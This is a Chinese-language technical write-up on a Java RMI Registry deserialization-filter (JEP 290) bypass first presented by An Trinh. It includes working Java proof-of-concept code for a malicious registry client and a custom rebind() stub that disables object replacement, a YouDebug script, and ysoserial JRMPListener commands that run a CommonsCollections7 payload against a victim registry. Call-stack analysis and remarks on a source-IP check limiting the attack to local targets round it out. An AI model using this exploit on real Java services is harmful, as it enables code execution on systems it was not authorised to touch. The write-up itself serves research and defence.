Registry Whitelist Bypass from An Trinh
参[1],第20页,思路是An Trinh原创,但他未给细节。Hans Martin Munch在[2]中补了一半细节。
An Trinh水平较高,2019年Zimbra的两个CVE是他发现的:
CVE-2019-9670(XXE/SSRF)
CVE-2019-6980(反序列化)
不过他一贯风格是不给细节。后来中国人fnmsd提供上面两个CVE的复现细节。
Hans Martin Munch比An Trinh开放,分享过不少有趣的思路,比如用YouDebug搞CVE-2017-3241。
ysoserial.payloads.JRMPClient是设法让受害者扮演”DGC Client”的角色,使之访
问恶意”DGC Server”。受害者反序列化来自后者的恶意Object时有默认过滤器,参看sun.rmi.transport.DGCImpl.checkInput()的实现。
An Trinh的新思路是设法让受害者扮演”RMI Registry Client”的角色,使之访问恶意”RMI Registry Server”。受害者反序列化来自后者的恶意Object时并没有过滤器参与其中,JEP 290未针对这种场景设置默认过滤器。
本文演示环境为8u232。
1) RMIRegistryServer.java
/*
* javac -encoding GBK -g RMIRegistryServer.java
* java RMIRegistryServer 1099
*/
import java.rmi.registry.*;
public class RMIRegistryServer
{
public static void main ( String[] argv ) throws Exception
{
int port = Integer.parseInt( argv[0] );
LocateRegistry.createRegistry( port );
System.in.read();
}
}
2) EvilRMIRegistryClientWithUnicastRemoteObjectFail.java
/*
* javac -encoding GBK -g -XDignore.symbol.file EvilRMIRegistryClientWithUnicastRemoteObjectFail.java
*/
import java.io.*;
import java.lang.reflect.*;
import java.util.Random;
import java.net.Socket;
import java.rmi.Remote;
import java.rmi.registry.*;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.ObjID;
import sun.rmi.transport.tcp.TCPEndpoint;
import sun.rmi.transport.LiveRef;
import sun.rmi.server.UnicastRef;
public class EvilRMIRegistryClientWithUnicastRemoteObjectFail
{
public static Object getObject ( String addr, int port ) throws Exception
{
int i = new Random().nextInt();
ObjID oid = new ObjID( i );
TCPEndpoint te = new TCPEndpoint( addr, port );
LiveRef lr = new LiveRef( oid, te, false );
UnicastRef ur = new UnicastRef( lr );
RemoteObjectInvocationHandler
roih = new RemoteObjectInvocationHandler( ur );
RMIServerSocketFactory
ssfProxy
= ( RMIServerSocketFactory )Proxy.newProxyInstance
(
RMIServerSocketFactory.class.getClassLoader(),
new Class[]
{
RMIServerSocketFactory.class,
Remote.class
},
roih
);
Constructor<?> cons = UnicastRemoteObject.class.getDeclaredConstructor( new Class[0] );
cons.setAccessible( true );
UnicastRemoteObject uro = ( UnicastRemoteObject )cons.newInstance( new Object[0] );
Field f_ssf = UnicastRemoteObject.class.getDeclaredField( "ssf" );
f_ssf.setAccessible( true );
f_ssf.set( uro, ssfProxy );
return( uro );
}
public static void main ( String[] argv ) throws Exception
{
String addr = argv[0];
int port = Integer.parseInt( argv[1] );
String newaddr = argv[2];
int newport = Integer.parseInt( argv[3] );
Remote obj = ( Remote )getObject( newaddr, newport );
Registry r = LocateRegistry.getRegistry( addr, port );
r.rebind( "any", obj );
}
}
启动恶意服务:
java \
-cp ysoserial-0.0.6-SNAPSHOT-all.jar \
ysoserial.exploit.JRMPListener 1099 \
CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"
启动受害者:
java \
-cp "commons-collections-3.1.jar:." \
RMIRegistryServer 2099
启动攻击者:
java \
EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \
192.168.65.23 1099
这次攻击达不到预期目的。
2.1) 攻击失败的原因
参看:
RegistryImpl_Stub.rebind // 8u232
ObjectOutputStream.writeObject // RegistryImpl_Stub:154
ObjectOutputStream.writeObject0 // ObjectOutputStream:348
MarshalOutputStream.replaceObject // ObjectOutputStream:144
if ((obj instanceof Remote) && !(obj instanceof RemoteStub))
// MarshalOutputStream:80
// Remote实例被特殊对待
target = ObjectTable.getTarget((Remote) obj)
// MarshalOutputStream:81
// 如果调用过UnicastRemoteObject.exportObject()
// 此处返回的target不为null,流程将去83行
if (target != null) // MarshalOutputStream:82
return target.getStub() // MarshalOutputStream:83
// 若流程至此,不再是返回我们传入的Remote实例
如果调用过UnicastRemoteObject.exportObject(),用ObjectOutputStream.writeObject()序列化输出该UnicastRemoteObject实例时,会触发MarshalOutputStream.replaceObject(),将UnicastRemoteObject实例替换成另一种对象实例,攻击链被破坏。
如果不想发生这种替换,可以利用反射将ObjectOutputStream.enableReplace由true改成false。这是Hans Martin Munch的主意。
2.2) 利用YouDebug起死回生
参[3],YouDebug允许自动化调试执行,设置断点、断点命中后的动作都可以在脚本中提前定义好。
编辑ModifyRebind.ydb如下:
vm.methodEntryBreakpoint( "java.io.ObjectOutputStream", "writeObject" )
{
if \
(
( obj instanceof com.sun.tools.jdi.ObjectReferenceImpl )
&&
( obj.referenceType().name().equals( "java.rmi.server.UnicastRemoteObject" ) )
)
{
println "scz is here"
self.enableReplace = false;
}
}
脚本意图很直白,拦截ObjectOutputStream.writeObject(),如果obj是UnicastRemoteObject类型,将ObjectOutputStream.enableReplace从true改成false。
启动恶意服务:
java \
-cp ysoserial-0.0.6-SNAPSHOT-all.jar \
ysoserial.exploit.JRMPListener 1099 \
CommonsCollections7 "/bin/touch /tmp/scz_is_here_from_server_3"
启动受害者:
java \
-cp "commons-collections-3.1.jar:." \
RMIRegistryServer 2099
启动攻击者:
java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
EvilRMIRegistryClientWithUnicastRemoteObjectFail 192.168.65.23 2099 \
192.168.65.23 1099
java \
-jar youdebug-1.6-SNAPSHOT-jar-with-dependencies.jar \
-socket 192.168.65.23:8005 \
ModifyRebind.ydb
3) 自定义RegistryImpl_Stub.rebind()
Hans Martin Munch提出自定义RegistryImpl_Stub.rebind(),在writeObject()之前利用反射修改ObjectOutputStream.enableReplace。他说把这当成课后作业,没有直接给答案。我给个实测过的PoC:
private static void rebind ( RegistryImpl_Stub r, String $param_String_1, Remote $param_Remote_2 ) throws Exception
{
StreamRemoteCall call = ( StreamRemoteCall )r.getRef().newCall( r, operations, 3, interfaceHash );
ObjectOutput out = call.getOutputStream();
ObjectOutputStream oos = ( ObjectOutputStream )out;
Field f = ObjectOutputStream.class.getDeclaredField( "enableReplace" );
f.setAccessible( true );
f.set( oos, false );
out.writeObject( $param_String_1 );
out.writeObject( $param_Remote_2 );
r.getRef().invoke( call );
r.getRef().done( call );
}
4) 攻击得手后的简化版调用关系
参看:
RegistryImpl_Skel.dispatch // 8u232
// 进入rebind()分支
RegistryImpl.checkAccess("Registry.rebind") // RegistryImpl_Skel:142
// 前置检查rebind()源IP,不允许远程绑定,这才是大盾
ObjectInputStream.readObject // RegistryImpl_Skel:148
// $param_String_1 = (java.lang.String) in.readObject()
// 可以直接打这个位置
ObjectInputStream.readObject // RegistryImpl_Skel:149
// $param_Remote_2 = (java.rmi.Remote) in.readObject()
UnicastRemoteObject.readObject
UnicastRemoteObject.reexport // UnicastRemoteObject:235
UnicastRemoteObject.exportObject // UnicastRemoteObject:268
UnicastRemoteObject.exportObject // UnicastRemoteObject:346
UnicastServerRef.exportObject // UnicastRemoteObject:383
LiveRef.exportObject // UnicastServerRef:237
TCPEndpoint.exportObject // LiveRef:147
TCPTransport.exportObject // TCPEndpoint:411
TCPTransport.listen // TCPTransport:254
TCPEndpoint.newServerSocket // TCPTransport:335
$Proxy0.createServerSocket // TCPEndpoint:666
// 动态代理机制
RemoteObjectInvocationHandler.invoke
RemoteObjectInvocationHandler.invokeRemoteMethod // RemoteObjectInvocationHandler:179
UnicastRef.invoke // RemoteObjectInvocationHandler:227
// invoke(Remote obj, Method method, Object[] params, long opnum)
// 这条攻击链上不会遭遇过滤器
TCPChannel.newConnection // UnicastRef:129
// conn = ref.getChannel().newConnection()
StreamRemoteCall.executeCall // UnicastRef:161
// call.executeCall()
ObjectInputStream.readObject // StreamRemoteCall:270
Hashtable.readObject // ysoserial/CommonsCollections7
Hashtable.reconstitutionPut
LazyMap.get
Runtime.exec
UnicastRef.unmarshalValue // UnicastRef:174
// returnValue = unmarshalValue(rtype, in)
本地打8u232可以得手。”RegistryImpl_Skel:142″有前置源IP检查,远程打8u232无法通过这个检查。
[1]第20页的调用栈栈顶是:
sun.rmi.server.UnicastRef.unmarshalValue()
sun.rmi.transport.tcp.TCPChannel.newConnection()
sun.rmi.server.UnicastRef.invoke()
我觉得这是An Trinh用春秋笔法展示出来的伪栈。TCPChannel.newConnection()跟这条攻击链无关,仅仅是路过。UnicastRef.unmarshalValue()倒是有可能被利用,但上图已经在StreamRemoteCall.executeCall()中得手了。
5) Hans Martin Munch的失策
Hans Martin Munch修改ObjectOutputStream.enableReplace的思路可行,但确实有些失策。如果他认真看过Matthias Kaiser的ysoserial.payloads.JRMPListener,就不会走这条弯路。
如果用Hans Martin Munch的方案,会有如下调用栈回溯:
[1] sun.rmi.transport.ObjectTable.putTarget (ObjectTable.java:171), pc = 0
[2] sun.rmi.transport.Transport.exportObject (Transport.java:106), pc = 6
[3] sun.rmi.transport.tcp.TCPTransport.exportObject (TCPTransport.java:265), pc = 32
[4] sun.rmi.transport.tcp.TCPEndpoint.exportObject (TCPEndpoint.java:411), pc = 5
[5] sun.rmi.transport.LiveRef.exportObject (LiveRef.java:147), pc = 5
[6] sun.rmi.server.UnicastServerRef.exportObject (UnicastServerRef.java:237), pc = 78
[7] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:383), pc = 19
[8] java.rmi.server.UnicastRemoteObject.exportObject (UnicastRemoteObject.java:320), pc = 9
[9] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:198), pc = 26
[10] java.rmi.server.UnicastRemoteObject. (UnicastRemoteObject.java:180), pc = 2
[11] sun.reflect.NativeConstructorAccessorImpl.newInstance0 (native method)
[12] sun.reflect.NativeConstructorAccessorImpl.newInstance (NativeConstructorAccessorImpl.java:62), pc = 85
[13] sun.reflect.DelegatingConstructorAccessorImpl.newInstance (DelegatingConstructorAccessorImpl.java:45), pc = 5
[14] java.lang.reflect.Constructor.newInstance (Constructor.java:423), pc = 79
UnicastRemoteObject.exportObject()会触发ObjectTable.putTarget()。
而ObjectOutputStream.writeObject()序列化UnicastRemoteObject实例时会经过如下函数:
/*
* sun.rmi.server.MarshalOutputStream.replaceObject
*/
/**
* Checks for objects that are instances of java.rmi.Remote
* that need to be serialized as proxy objects.
*/
protected final Object replaceObject(Object obj) throws IOException {
if ((obj instanceof Remote) && !(obj instanceof RemoteStub)) {
/*
* 81行
*/
Target target = ObjectTable.getTarget((Remote) obj);
if (target != null) {
/*
* 83行,不再是返回形参obj
*/
return target.getStub();
}
}
return obj;
}
上述83行处攻击链被破坏,恶意Object不会被送往受害者。
这个新的白名单绕过技术的正确打开方式是像ysoserial.payloads.JRMPListener那样生成UnicastRemoteObject实例,避免在客户端触发UnicastRemoteObject.exportObject(),这样就不会调用ObjectTable.putTarget(),于是”MarshalOutputStream:81″处返回的target为null,这样就不会发生替换。
6) 无论如何绕不过源IP检查
An Trinh的新技术只能用于本机受害者,不能用于远程受害者。假设有本地提权的场景,或可考虑,远程打1099/TCP就算了。
8u232的”RegistryImpl_Skel:142″处代码是:
RegistryImpl.checkAccess("Registry.rebind")
它在检查rebind()的源IP是否是本机。如果不是,流程不会去readObject()。据说
8u141就已经前置源IP检查了。
从防御角度看,条件允许的情况下尽量使用高版本Java吧。
参考资源:
[1] Far Sides of Java Remote Protocols – An Trinh [2019-12-04]
https://www.blackhat.com/eu-19/briefings.html
http://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
[2] An Trinhs RMI Registry Bypass – Hans Martin Munch [2020-02]
https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/
[3] YouDebug